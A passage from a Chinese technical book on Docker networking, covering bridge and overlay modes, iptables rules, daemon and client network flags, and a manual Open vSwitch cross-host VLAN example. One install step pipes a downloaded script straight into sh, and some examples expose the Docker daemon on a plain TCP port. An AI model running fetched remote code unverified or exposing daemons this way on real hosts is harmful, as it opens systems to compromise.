Docker daemon启动时会在主机创建一个Linux网桥（默认为docker0，可通过-b参数手动指定）。容器启动时，Docker会创建一对veth pair（虚拟网络接口）设备，veth设备的特点是成对存在，从一端进入的数据会同时出现在另一端。Docker会将一端挂载到docker0网桥上，另一端放入容器的Network Namespace内，从而实现容器与主机通信的目的。bridge模式下的网络拓扑图如图5-2所示。

图5-2　bridge模式的网络拓扑图

在桥接模式下，Docker容器与Internet的通信，以及不同容器之间的通信，都是通过iptables规则控制的。

总之，Docker网络的初始化动作包括：创建docker0网桥、为docker0网桥新建子网及路由、创建相应的iptables规则等。

举例来说，初次启动Docker daemon后，用户可以观察到主机的网络接口、网桥、路由等信息发生了如下变化：

# docker daemon -D -s aufs --userland-proxy=false
...
$ brctl show
bridge name     bridge id     STP enabled     interfaces
docker0         8000.000000000000 no
# 当前没有容器在运行，因而网桥上没有网络接口
$ ip addr show docker0
1642: docker0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UNKNOWN group default
link/ether 36:8e:71:44:2d:41 brd ff:ff:ff:ff:ff:ff
inet 172.17.42.1/16 scope global docker0
valid_lft forever preferred_lft forever
inet6 fe80::348e:71ff:fe44:2d41/64 scope link
valid_lft forever preferred_lft forever
# 默认docker0分配了172.17.42.1/16的子网，容器以bridge网络模式运行时默认从这个子网分配IP。
$ route -n内核 IP 路由表目标          网关           子网掩码         标志   跃点    引用    使用    接口
0.0.0.0      10.110.52.1   0.0.0.0         UG    0      0      0      eth1
10.110.52.0  0.0.0.0       255.255.252.0   U     1      0      0      eth1
172.17.0.0   0.0.0.0       255.255.0.0     U     0      0      0      docker0

而主机的iptables规则增加较多，可等同于通过如下命令创建完成的：

# iptables --wait -t nat -I POSTROUTING -s 172.17.42.1/16 ! -o docker0 -j MASQUERADE
# iptables --wait -t nat -I POSTROUTING -m addrtype --src-type LOCAL -o docker0 -j MASQUERADE
# iptables --wait -D FORWARD -i docker0 -o docker0 -j DROP
# iptables --wait -A FORWARD -i docker0 -o docker0 -j ACCEPT
# iptables --wait -I FORWARD -i docker0 ! -o docker0 -j ACCEPT
# iptables --wait -I FORWARD -o docker0 -m conntrack --ctstate RELATED,ESTABLISHED
-j ACCEPT
# iptables --wait -t nat -n -L DOCKER
# iptables --wait -t nat -A PREROUTING -m addrtype --dst-type LOCAL -j DOCKER
# iptables --wait -t nat -A OUTPUT -m addrtype --dst-type LOCAL -j DOCKER
# iptables --wait -t filter -n -L DOCKER
# iptables --wait -t filter -C FORWARD -o docker0 -j DOCKER
# iptables --wait -I FORWARD -o docker0 -j DOCKER

用户可以通过使用iptables-vnL-t nat命令来查看iptables nat表或其他表（替换前述命令-t后表名）的内容，相关含义请读者自行查阅iptables手册。

Bridge模式是Docker默认的容器运行模式，以bridge模式启动的容器，默认会从172.17.42.1/16子网内分配IP。示例操作如下：

$ docker run -ti --net=bridge ubuntu:latest ip addr show
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
1743: eth0: <BROADCAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
link/ether 02:42:ac:11:00:03 brd ff:ff:ff:ff:ff:ff
inet 172.17.0.3/16 scope global eth0
valid_lft forever preferred_lft forever
inet6 fe80::42:acff:fe11:3/64 scope link tentative
valid_lft forever preferred_lft forever

5）overlay：Docker原生的跨主机多子网模型。

overlay网络模型比较复杂，底层需要类似consul或etcd的KV存储系统进行消息同步，核心是通过Linux网桥与vxlan隧道实现跨主机划分子网。

如图5-3所示，每创建一个网络，Docker会在主机上创建一个单独的沙盒，沙盒的实现实质上是一个Network Namespace。在沙盒中，Docker会创建名为br0的网桥，并在网桥上增加一个vxlan接口，每个网络占用一个vxlan ID，当前Docker创建vxlan隧道的ID范围为256~1000，因而最多可以创建745个网络。当添加一个容器到某一个网络上时，Docker会创建一对veth网卡设备，一端连接到此网络相关沙盒内的br0网桥上，另一端放入容器的沙盒内，并设置br0的IP地址作为容器内路由默认的网关地址，从而实现容器加入网络的目的。

图5-3　overlay模式的网络拓扑图

以图5-3为例，容器1和容器4同属一个网络，容器1需要通过256号vxlan隧道访问另一台主机的容器4。Docker通过vxlan和Linux网桥实现了跨主机的虚拟子网功能。

由于overlay还未成熟，相应的接口也未正式发布，下面仅简单介绍相关使用方法，以给读者提供直观的认识[1]。

获取实验版Docker的命令如下：

$ curl -sSL https://experimental.docker.com/ | sh

主机1以bootstrap模式运行consul server：

$ consul agent -server -bootstrap -data-dir /tmp/consul –bind <host-1-ip-address>

主机2启动consul client：

$ consul agent -data-dir /tmp/consul -bind <host-2-ip-address>
$ consul join <host-1-ip-address>

主机1以如下参数启动Docker daemon：

# docker daemon --kv-store=consul:localhost:8500
--label=com.docker.network.driver.overlay.bind_interface=eth0

主机2以如下参数启动Docker daemon：

# docker daemon --kv-store=consul:localhost:8500
--label=com.docker.network.driver.overlay.bind_interface=eth0
--label=com.docker.network.driver.overlay.neighbor_ip=<host-1-ip-address>

如果不报错，则说明启动成功。

用户随后可以通过如下命令创建网络并在网络上运行容器了。主机1运行如下命令：

$ docker network create -d overlay dev
$ docker network ls
NETWORK ID          NAME                TYPE
9101d162c6db        bridge              bridge
fcd0327f5104        dev                 overlay
f5f9c8723777        none                null
eb81445767e1        host                host
# bridge,null,host会随Docker启动创建默认网络，dev是上一条命令创建成功的。
$ docker run -tid --publish-service test.dev ubuntu:latest bash
$ docker service ls
SERVICE ID          NAME                NETWORK             CONTAINER
015ab0c2fb24        test                dev                 9738192f6c2c
$ docker exec -ti 9738192f6c2c ip addr show
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
39: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group
default
link/ether 02:42:4b:e0:1f:23 brd ff:ff:ff:ff:ff:ff
inet 172.21.0.1/16 scope global eth0
valid_lft forever preferred_lft forever
inet6 fe80::42:4bff:fee0:1f23/64 scope link
valid_lft forever preferred_lft forever

通过以上操作，成功创建了一个名为dev的overlay网络，并创建了一个运行在该网络上的容器9738192f6c2c，且为容器绑定了名为test的服务。容器的IP为172.21.0.1。

下面以一条更简单的命令在网络上启动一个容器。在主机2上运行：

$ docker run -tid --publish-service test1.dev.overlay ubuntu:latest bash
$ docker service ls
SERVICE ID          NAME                NETWORK             CONTAINER
015ab0c2fb24        test                dev                 9738192f6c2c
0e1e32928ed3        test1               dev                 28233d8a11b7

以上命令为运行一个容器，绑定名为test1的服务，test1服务所在的网络名称为dev，网络类型为overlay网络。上述命令在dev网络不存在的情况下会首先创建overlay网络dev，然后发布名为test1的服务并绑定容器。

测试发现，服务test和test1绑定的两个容器即使是在两台不同的主机上互相之间也是可以通信的，而如果创建另一个名为prod的网络并在其上运行容器，则无法与dev网络上的容器进行通信。

Docker创建的沙盒（Network Namespace）保存在/var/run/docker/netns/，用户可以通过以下方式查看br0及vxlan端口所在的网络沙盒详情：

# ln -s /var/run/docker/netns/fcd0327f5104 /var/run/netns/fcd0327f5104
# fcd0327f5104实质上是dev网络的网络ID，创建软链接的目的是为了能够使用ip命令操纵名字空间。
$ ip netns exec fcd0327f5104 ip addr show    #查看端口详细信息
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: br0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group
default
link/ether 4e:62:e3:ab:fd:45 brd ff:ff:ff:ff:ff:ff
inet 172.21.255.254/16 scope global br0
valid_lft forever preferred_lft forever
inet6 fe80::b8c8:65ff:fe04:355/64 scope link
valid_lft forever preferred_lft forever
39: vxlan1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master br0 state
UNKNOWN group default
link/ether 76:64:a6:e0:0b:19 brd ff:ff:ff:ff:ff:ff
inet6 fe80::7464:a6ff:fee0:b19/64 scope link
valid_lft forever preferred_lft forever
41: veth2: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master br0 state UP group default
link/ether 4e:62:e3:ab:fd:45 brd ff:ff:ff:ff:ff:ff
inet6 fe80::4c62:e3ff:feab:fd45/64 scope link
valid_lft forever preferred_lft forever
$ ip netns exec fcd0327f5104 brctl show  # 查看网桥信息
bridge name    bridge id            STP enabled    interfaces
br0            8000.4e62e3abfd45    no             veth2
vxlan1
$ ip netns exec fcd0327f5104 ip -d link show vxlan1  # 查看vxlan详细信息
39: vxlan1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master br0 state
UNKNOWN mode DEFAULT group default
link/ether 76:64:a6:e0:0b:19 brd ff:ff:ff:ff:ff:ff promiscuity 1
vxlan id 256 srcport 0 0 dstport 46354 proxy l2miss l3miss ageing 300
bridge_slave
# vxlan id 256表明占用256号vxlan隧道。

以上命令为读者提供了使用shell命令查看overlay网络拓扑的方法，读者可使用相关命令查看主机1或主机2上的容器网络拓扑详情。本书不是一本讲Docker源码的书籍，如果读者对overlay的底层实现感兴趣，不妨深入阅读一下Libnetwork overlay driver的相关实现代码，本文不再赘述overlay driver的更多详细实现。

综上所述，Docker的整个网络模型，是建立在Network Namespace、Linux网桥、vxlan隧道、iptables规则之上的，也正是由于过于依赖网桥与iptables，导致Docker的网络效率不高，招致了用户和开发者的诟病。

[1] 详细使用说明可以参看官方文档，地址为：https://github.com/docker/libnetwork/blob/master/docs/overlay.md。

5.2.2　Docker网络相关参数

下面先来了解一下Docker网络相关参数的含义。

Docker daemon部分的网络参数说明如下：

$ docker daemon --help
A self-sufficient runtime for linux containers.
Options:
-b, --bridge=      Attach containers to a network bridge
# 指定Docker daemon使用的网桥，默认为"docker0"。若设置-b="none"，则禁用Docker的网络功能
--bip=       Specify network bridge IP
# 指定docker0网桥的IP，注意--bip不能与-b同时使用
--default-gateway=      Container default gateway IPv4 address
# 设置容器默认的IPv4网关
--default-gateway-v6=      Container default gateway IPv6 address
# 设置容器默认的IPv6网关
--dns=[]      DNS server to use
# 设置容器内的DNS服务器地址
--dns-search=[]      DNS search domains to use
# 设置容器内的search domain，即域名解析时默认添加的域名后缀
--fixed-cidr=      IPv4 subnet for fixed IPs
# 容器网络模式为bridge时，会从此子网内分配IP，本参数设置的子网必须嵌套于docker0网桥所属
# 子网之内
--fixed-cidr-v6=      IPv6 subnet for fixed IPs
# 与--fixed-cidr相同，bridge模式下默认分配的IPv6子网地址
-H, --host=[]      Daemon socket(s) to connect to
# 指定Docker client与Docker daemon通信的socket地址，可以是tcp地址、unix socket地址
# 或socket文件描述符，可同时指定多个，例如：
# docker daemon -H tcp://10.110.48.32:10000 -H unix:///var/run/docker.sock
# 代表Docker daemon同时监听10.110.48.32:10000及本机/var/run/docker.sock文件
--icc=true      Enable inter-container communication
# 允许/禁止容器间通信，禁用icc依赖iptables规则，若--icc=false，则必须--iptables=true
--ip=0.0.0.0      Default IP when binding container ports
# 容器暴露端口时默认绑定的主机IP，默认为0.0.0.0
--ip-forward=true      Enable net.ipv4.ip_forward
# 使能IP转发功能，为true则向主机/proc/sys/net/ipv4/ip_forward写入1
--ip-masq=true      Enable IP masquerading
# 使能IP地址变形功能（NAT）,只有--iptables=true才可生效
--iptables=true      Enable addition of iptables rules
# 使能iptables。若设置为false，则无法向iptables表格添加规则
--ipv6=false      Enable IPv6 networking
# 使能IPv6网络功能
--mtu=0      Set the containers network MTU
# 设置容器网络MTU（最大传输单元）
--userland-proxy=true      Use userland proxy for loopback traffic
# 当设置为true时，Docker会为每个映射到主机端口的容器端口启动一个docker-proxy进程用于
# 数据转发。实际上这会耗用大量CPU资源，Docker社区正在计划去除docker-proxy

提示

关于去除userland-proxy的讨论可以参考https://github.com/docker/docker/pull/6810，在生产环境下建议将--userland-proxy设置为false。

Docker client部分的网络参数说明如下：

$ docker run --help
Usage: docker run [OPTIONS] IMAGE [COMMAND] [ARG...]
Run a command in a new container
--add-host=[]      Add a custom host-to-IP mapping (host:ip)
# 在容器内的/etc/hosts文件内增加一行主机对IP的映射
--dns=[]      Set custom DNS servers
# 设置容器的DNS服务器
--dns-search=[]      Set custom DNS search domains
# 设置容器的DNS搜索域
--expose=[]      Expose a port or a range of ports
# 暴露容器的端口，而不映射到主机端口
-h, --hostname=      Container host name
# 设置容器的主机名
--link=[]      Add link to another container
# 链接到另一个容器，在本容器中可以通过容器ID或者容器名访问对方
--mac-address=      Container MAC address (e.g. 92:d0:c6:0a:29:33)
# 设置容器的mac地址
--net=bridge      Set the Network mode for the container
# 设置容器的网络运行模式，当前支持四种模式：bridge、none、host、container
-P, --publish-all=false      Publish all exposed ports to random ports
# 将容器所有暴露出的端口映射到主机随机端口
-p, --publish=[]      Publish a container's port(s) to the host
# 将容器一段范围内的端口映射主机指定的端口

下文通过示例介绍部分网络参数的使用方法及作用。由于Docker网络方面的参数较多，无法一一示范，示例未涵盖的网络参数的使用方法可参考Docker的man手册。

提示

Docker实验版额外提供了network与service子命令，可以创建/删除/查看网络或服务信息，由于network与service子命令未正式发布，本书不做介绍。

1.Docker daemon示例

先来看Docker daemon的网络参数。利用以下命令启动Docker daemon：

# docker daemon -H tcp://10.110.52.38:6000 -H unix:///var/run/docker.sock --fixed-cidr=
172.17.55.0/24 --icc=false --userland-proxy=false

其中，两次出现的-H参数指定Docker daemon将同时监听TCP地址10.110.52.38：6000和unix socket地址/var/run/docker.sock，--fixed-cidr参数指定容器将从子网172.17.55.0/24分配IP，--icc=false指定禁止容器间通信，--userland-proxy=false则禁止使用用户态proxy，即不派生docker-proxy进程用于端口映射。

在上面的命令中，--icc被设置为false了，因此，iptables filter表格增加了一条DROP规则：

# iptables -vnL -t filter
Chain FORWARD (policy ACCEPT 0 packets, 0 bytes)
pkts bytes target prot opt in out source destination
251 21084 DROP all -- docker0 docker0 0.0.0.0/0 0.0.0.0/0

这应该比较容易理解，就是把从docker0接收并且从docker0发送的所有数据包全部丢弃。由于容器间是通过挂载到docker0网桥上的veth pair实现网络通信的，因此容器间的通信自然就被禁止了。

2.Docker client示例1

再来看Docker client端网络参数的使用。运行一个Docker容器：

$ docker run -tid --net=bridge -p :10000:22/tcp -h docker ubuntu:latest bash
ccf8fb9a1cbc7b04dd2441eac31f9b629021ee09b23af416e8da037c3b6bba57
$ docker ps
CONTAINER ID  IMAGE        COMMAND    CREATED      STATUS          PORTS   NAMES
ccf8fb9a1cbc  ubuntu:latest "bash"    25 seconds ago Up 25 seconds
0.0.0.0:10000->22/tcp evil_davinci
$ docker exec -ti ccf8fb9a1cbc bash
root@docker:/# ip addr show
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
1663: eth0: <BROADCAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
link/ether 02:42:56:2d:57:93 brd ff:ff:ff:ff:ff:ff
inet 172.17.55.1/16 scope global eth0
valid_lft forever preferred_lft forever
inet6 fe80::42:56ff:fe2d:5793/64 scope link
valid_lft forever preferred_lft forever

容器内的信息显示，通过-h成功设置了容器内的hostname为docker，且由于daemon设置容器子网为172.17.55.0/24（--fixed-cidr参数设置），因此容器分配获得了IP 172.17.55.1。-p:10000:22/tcp会在iptables内添加三条规则：

# iptables --wait -t nat -A DOCKER -p tcp -d 0/0 --dport 10000 -j DNAT \
--to-destination 172.17.55.1:22
# iptables --wait -t filter -A DOCKER ! -i docker0 -o docker0 -p tcp \
-d 172.17.55.1 --dport 22 -j ACCEPT
# iptables --wait -t nat -A POSTROUTING -p tcp -s 172.17.55.1 -d 172.17.55.1 \
--dport 22 -j MASQUERADE

第一条是DNAT规则，即将所有访问主机10000端口的tcp数据包重定向到172.17.55.1：22地址；第二条是过滤规则，接受所有从非docker0接口发出，到达docker0接口的，目标为172.17.55.1：22的tcp数据包；第三条规则是将来自172.17.55.1，发往172.17.55.1：22端口的数据包进行源IP变形，此规则是用于开启hairpin NAT模式，使得容器可以访问自己暴露出的端口。

为方便读者观看iptables最终的内容，此处把上文示例操作产生的iptables内容呈现出来，如下：

# iptables -vnL -t filter
Chain INPUT (policy ACCEPT 20850 packets, 1442K bytes)
pkts bytes target prot opt in out source destination
Chain FORWARD (policy ACCEPT 0 packets, 0 bytes)
pkts bytes target prot opt in out source destination
251 21084 DOCKER all -- * docker0 0.0.0.0/0 0.0.0.0/0
0 0 ACCEPT all -- * docker0 0.0.0.0/0 0.0.0.0/0 ctstate RELATED,ESTABLISHED
0 0 ACCEPT all -- docker0 !docker0 0.0.0.0/0 0.0.0.0/0
251 21084 DROP all -- docker0 docker0 0.0.0.0/0 0.0.0.0/0
Chain OUTPUT (policy ACCEPT 16906 packets, 993K bytes)
pkts bytes target prot opt in out source destination
Chain DOCKER (1 references)
pkts bytes target prot opt in out source destination
0 0 ACCEPT tcp -- !docker0 docker0 0.0.0.0/0 172.17.55.1 tcp dpt:22
# iptables -vnL -t nat
Chain PREROUTING (policy ACCEPT 3366 packets, 384K bytes)
pkts bytes target prot opt in out source destination
0 0 DOCKER all -- * * 0.0.0.0/0 0.0.0.0/0 ADDRTYPE match dst-type LOCAL
Chain INPUT (policy ACCEPT 831 packets, 130K bytes)
pkts bytes target prot opt in out source destination
Chain OUTPUT (policy ACCEPT 7581 packets, 455K bytes)
pkts bytes target prot opt in out source destination
20072 1204K DOCKER all -- * * 0.0.0.0/0 0.0.0.0/0 ADDRTYPE match dst-type LOCAL
Chain POSTROUTING (policy ACCEPT 7580 packets, 455K bytes)
pkts bytes target prot opt in out source destination
3 219 MASQUERADE all -- * docker0 0.0.0.0/0 0.0.0.0/0 ADDRTYPE match src-type LOCAL
0 0 MASQUERADE all -- * !docker0 172.17.0.0/16 0.0.0.0/0
0 0 MASQUERADE tcp -- * * 172.17.55.1 172.17.55.1 tcp dpt:22
Chain DOCKER (2 references)
pkts bytes target prot opt in out source destination
0 0 DNAT tcp -- * * 0.0.0.0/0 0.0.0.0/0 tcp dpt:10000 to:172.17.55.1:22

3.Docker client示例2

Docker的另外一个常用的网络参数为--link，其作用是为两个容器建立链接。示例代码如下：

$ docker run -tid --name=c1 ubuntu:latest bash
212a40dc33b0111046ffa135ec979c5e3cfad3c626c91ff3942b3cee7d6f9bde
$ docker exec -ti 212a40dc33b01110 ip addr show eth0
1747: eth0: <BROADCAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
link/ether 02:42:ac:11:00:02 brd ff:ff:ff:ff:ff:ff
inet 172.17.0.2/16 scope global eth0
valid_lft forever preferred_lft forever
inet6 fe80::42:acff:fe11:2/64 scope link
valid_lft forever preferred_lft forever
$ docker run -tid --link=c1:alias_c1 --name=c2 ubuntu:latest bash
8394d9a4b00c7ebd5393ad0162b38ee497527dfbc1758e80ad8e1679b3500b38
$ docker exec -ti 8394d9a4b00c bash
root@8394d9a4b00c:/# ip addr show eth0
1749: eth0: <BROADCAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
link/ether 02:42:ac:11:00:03 brd ff:ff:ff:ff:ff:ff
inet 172.17.0.3/16 scope global eth0
valid_lft forever preferred_lft forever
inet6 fe80::42:acff:fe11:3/64 scope link
valid_lft forever preferred_lft forever
root@8394d9a4b00c:/# ping alias_c1
PING alias_c1 (172.17.0.2) 56(84) bytes of data.
64 bytes from alias_c1 (172.17.0.2): icmp_seq=1 ttl=64 time=0.069 ms
64 bytes from alias_c1 (172.17.0.2): icmp_seq=2 ttl=64 time=0.046 ms
64 bytes from alias_c1 (172.17.0.2): icmp_seq=3 ttl=64 time=0.052 ms
64 bytes from alias_c1 (172.17.0.2): icmp_seq=4 ttl=64 time=0.044 ms
^C
--- alias_c1 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 2997ms
rtt min/avg/max/mdev = 0.044/0.052/0.069/0.013 ms
root@8394d9a4b00c:/# cat /etc/hosts
172.17.0.3 8394d9a4b00c
127.0.0.1 localhost
172.17.0.2 alias_c1 212a40dc33b0 c1

上述操作首先启动了一个名为c1的container，随后以--link=c1：alias_c1参数启动另一个容器并链接到c1，并且为c1起了别名alias_c1。可以看到，在容器c2中可以直接访问alias_c1，其实现原理为在c2的/etc/hosts文件中加入了alias_c1的IP。--link是一个非常有用的参数，docker-compose中大量使用了--link特性。

本节介绍了Docker的四种网络模式bridge、host、none和container的原理和基本用法，同时列举了Docker网络相关的参数，并通过一些Docker使用示例，初步介绍了Docker网络的底层实现原理，旨在给用户一个初步的认识，Docker更多的使用方法用户可自行查阅官方文档。下一节我们会给出一个较为复杂的示例，介绍如何手动为集群内的多个Docker容器配置一个跨主机的多子网网络，以进一步加深用户对Docker网络的理解。

5.3　高级网络配置

上一节介绍了Docker网络相关的参数，相信读者对Docker网络相关的配置都有了一定的了解。本节将介绍如何通过一些基本的Linux命令，手动为Docker容器构建跨主机的多个子网，从而进一步加深读者对Docker容器网络相关功能实现的理解，更加详细的解释则需要读者从Libnetwork的代码中找答案了。

5.3.1　容器跨主机多子网方案

本示例的整体网络拓扑图如图5-4所示。

本示例中，使用Open vSwitch网桥替换了Docker默认的Linux网桥。Open vSwitch是一个开源的虚拟交换机的实现，在云计算领域有着广泛的应用，利用Open vSwitch（简称OVS），可以实现更加丰富和强大的网络功能。OVS的功能较为复杂，本节仅使用了一些简单的功能，如建立虚拟网桥，在OVS网桥上添加VXLAN端口实现跨主机通信等。

下一节会按照图5-4所示的网络拓扑结构，搭建两个跨主机的vlan。主机Host1运行两个容器container1和container2，分别属于vlan1和vlan2，主机Host2同样运行两个容器container3和container4，分属于vlan1和vlan2。最终，vlan1内部的两个容器可以互相通信，vlan2内部的同样可以互相通信，但是vlan1和vlan2互相隔离，互相不可访问。通过这样一个简单的跨主机组网的方案，相信读者会对Docker的网络实现会有进一步的理解。

图5-4　高级网络配置示例

5.3.2　容器跨主机多子网配置方法

本节的示例，主要使用了ip及ovs-vsctl命令，关于这两个命令的详细使用方法，不在本书的介绍范围，读者可自行查阅相关资料。

在Host1上运行两个容器，分别命名为container1和container2，其中container1的配置示例代码如下：

//创建一个OVS网桥
# ovs-vsctl add-br ovs-br0
//创建一个到10.110.52.66的vxlan tunnel
# ovs-vsctl add-port ovs-br0 vxlan-10.110.52.66 -- set interface vxlan-10.110.52.66
type=vxlan option:remote_ip="10.110.52.66"
# docker run -tid --net=none --name=container1 ubuntu:latest /bin/bash
# pid=$(docker inspect -f '{{.State.Pid}}' container1)
# echo $pid
1339
//下一步要在/var/run/netns/目录下为两个容器创建可以使用"ip netns"命令操纵的network
//namespace项，如果/var/run/netns/目录不存在则首先需要创建一个
# mkdir -p /var/run/netns
# ln -s /proc/$pid/ns/net /var/run/netns/$pid
//为container1创建一对虚拟网卡接口
# ip link add name vethC1Host mtu 1500 type veth peer name vethC1Container mtu 1500
//将veth pair的一端加入创建的OVS网桥中，设置vlan为1并启用，vlan是通过tag值划分的
# ovs-vsctl add-port ovs-br0 vethC1Host tag=1
# ip link set vethC1Host up
//将veth pair的另一端放入容器所在的network namespace
# ip link set vethC1Container netns $pid
//进入$pid所在的netns中，配置刚才放入其中的虚拟网卡，改名eth0，配置IP并启用
# ip netns exec $pid ip link set dev vethC1Container name eth0
# ip netns exec $pid ip addr add 192.168.0.1/24 dev eth0
# ip netns exec $pid ip link set eth0 up

与container1的配置方法相似，container2的网络配置按如下方式运行：

# docker run -tid --net=none --name=container2 ubuntu:latest /bin/bash
# pid=$(docker inspect -f '{{.State.Pid}}' container2)
# echo $pid
1866
# ln -s /proc/$pid/ns/net /var/run/netns/$pid
# ip link add name vethC2Host mtu 1500 type veth peer name vethC2Container mtu 1500
# ovs-vsctl add-port ovs-br0 vethC2Host tag=2
# ip link set vethC2Host up
# ip link set vethC2Container netns $pid
# ip netns exec $pid ip link set dev vethC2Container name eth0
# ip netns exec $pid ip addr add 192.168.0.2/24 dev eth0
# ip netns exec $pid ip link set eth0 up

Host2的网络拓扑构建方式与Host1相仿，只要修改相应容器的名字、虚拟网卡名字/IP、vxlan tunnel等，即可建立相应的网络架构。

补充说明一下，Host2共需要运行以下命令：

//创建网桥及添加vxlan tunnel port
# ovs-vsctl add-br ovs-br0
# ovs-vsctl add-port ovs-br0 vxlan-10.110.52.38 -- set interface vxlan-10.110.52.38
type=vxlan option:remote_ip="10.110.52.38"
//运行名为container3的容器
# docker run -tid --net=none --name=container3 ubuntu:latest /bin/bash
# pid=$(docker inspect -f '{{.State.Pid}}' container3)
# echo $pid
29584
# mkdir -p /var/run/netns
# ln -s /proc/$pid/ns/net /var/run/netns/$pid
//为container3创建一对虚拟网卡接口
# ip link add name vethC3Host mtu 1500 type veth peer name vethC3Container mtu 1500
# ovs-vsctl add-port ovs-br0 vethC3Host tag=1
# ip link set vethC3Host up
# ip link set vethC3Container netns $pid
# ip netns exec $pid ip link set dev vethC3Container name eth0
# ip netns exec $pid ip addr add 192.168.0.3/24 dev eth0
# ip netns exec $pid ip link set eth0 up
# docker run -tid --net=none --name=container4 ubuntu:latest /bin/bash
# pid=$(docker inspect -f '{{.State.Pid}}' container4)
# echo $pid
29667
# ln -s /proc/$pid/ns/net /var/run/netns/$pid
# ip link add name vethC4Host mtu 1500 type veth peer name vethC4Container mtu 1500
# ovs-vsctl add-port ovs-br0 vethC4Host tag=2
# ip link set vethC4Host up
# ip link set vethC4Container netns $pid
# ip netns exec $pid ip link set dev vethC4Container name eth0
# ip netns exec $pid ip addr add 192.168.0.4/24 dev eth0
# ip netns exec $pid ip link set eth0 up

完成之后，使用ovs-vsctl show命令查看Host1及Host2网桥及网卡信息，可以看到如下信息。

Host1：

# ovs-vsctl show
9ee0170e-4fba-4388-988b-a22db59cc5ba
Manager "ptcp:6640"
Bridge "ovs-br0"
Port "vethC2Host"
tag: 2
Interface "vethC2Host"
Port "vxlan-10.110.52.66"
Interface "vxlan-10.110.52.66"
type: vxlan
options: {remote_ip="10.110.52.66"}
Port "vethC1Host"
tag: 1
Interface "vethC1Host"
Port "ovs-br0"
Interface "ovs-br0"
type: internal
ovs_version: "2.1.4"

Host2：

# ovs-vsctl show
881740c8-6a29-497e-b8ca-5311f870ee5a
Manager "ptcp:6640"
is_connected: true
Bridge "ovs-br0"
Port "vethC4Host"
tag: 2
Interface "vethC4Host"
Port "ovs-br0"
Interface "ovs-br0"
type: internal
Port "vethC3Host"
tag: 1
Interface "vethC3Host"
Port "vxlan-10.110.52.38"
Interface "vxlan-10.110.52.38"
type: vxlan
options: {remote_ip="10.110.52.38"}
ovs_version: "2.0.2"

此时，尝试在container1中ping container2、container3、container4的IP，可以看到如下结果：

$ docker exec -ti container1 bash
root@89cb8d7bed6a:/# ip addr show eth0
1683: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP
group default qlen 1000
link/ether 02:99:2c:41:91:fe brd ff:ff:ff:ff:ff:ff
inet 192.168.0.1/24 scope global eth0
valid_lft forever preferred_lft forever
inet6 fe80::99:2cff:fe41:91fe/64 scope link
valid_lft forever preferred_lft forever
root@89cb8d7bed6a:/# ping 192.168.0.2
PING 192.168.0.2 (192.168.0.2) 56(84) bytes of data.
From 192.168.0.1 icmp_seq=1 Destination Host Unreachable
^C
--- 192.168.0.2 ping statistics ---
4 packets transmitted, 0 received, +3 errors, 100% packet loss, time 3013ms
pipe 3
root@89cb8d7bed6a:/# ping 192.168.0.3
PING 192.168.0.3 (192.168.0.3) 56(84) bytes of data.
64 bytes from 192.168.0.3: icmp_seq=1 ttl=64 time=0.890 ms
64 bytes from 192.168.0.3: icmp_seq=2 ttl=64 time=0.437 ms
64 bytes from 192.168.0.3: icmp_seq=3 ttl=64 time=0.210 ms
^C
--- 192.168.0.3 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 1999ms
rtt min/avg/max/mdev = 0.210/0.512/0.890/0.283 ms
root@89cb8d7bed6a:/# ping 192.168.0.4
PING 192.168.0.4 (192.168.0.4) 56(84) bytes of data.
From 192.168.0.1 icmp_seq=1 Destination Host Unreachable
^C
--- 192.168.0.4 ping statistics ---
4 packets transmitted, 0 received, +3 errors, 100% packet loss, time 3016ms
pipe 3
root@89cb8d7bed6a:/# exit

我们发现container1可以ping通处于不同主机但是处于同一vlan的container3，但是处于同一主机不同vlan的container2却不能ping通，container4同样不通。同理，同处vlan2的container2与container4是可以互通的。

我们利用此方式成功创建了跨越两台主机的2个vlan。

本示例中使用的ip netns命令可以管理Network Namespace，而ip link与ip addr命令则分别用于管理layer2和layer3的网络设备；ovs-vsctl命令可用于管理OVS网桥及网桥上的虚拟网卡，虚拟网卡可以是ip命令创建的，也可以是OVS内部端口。

本节主要给出了一个手动配置容器跨主机多子网网络方案的示例，通过本示例，可加深读者对Docker容器网络实现的认识，希望能启发读者定制满足自己特殊需求的网络方案。Docker的网络实质上是操纵Network Namespace、网桥、虚拟网卡及iptables实现的，明白这一点，读者就可以使用任意技术手段灵活构建Docker网络方案了，不必受限制于Docker提供的几种网络模式。

5.4　网络解决方案进阶

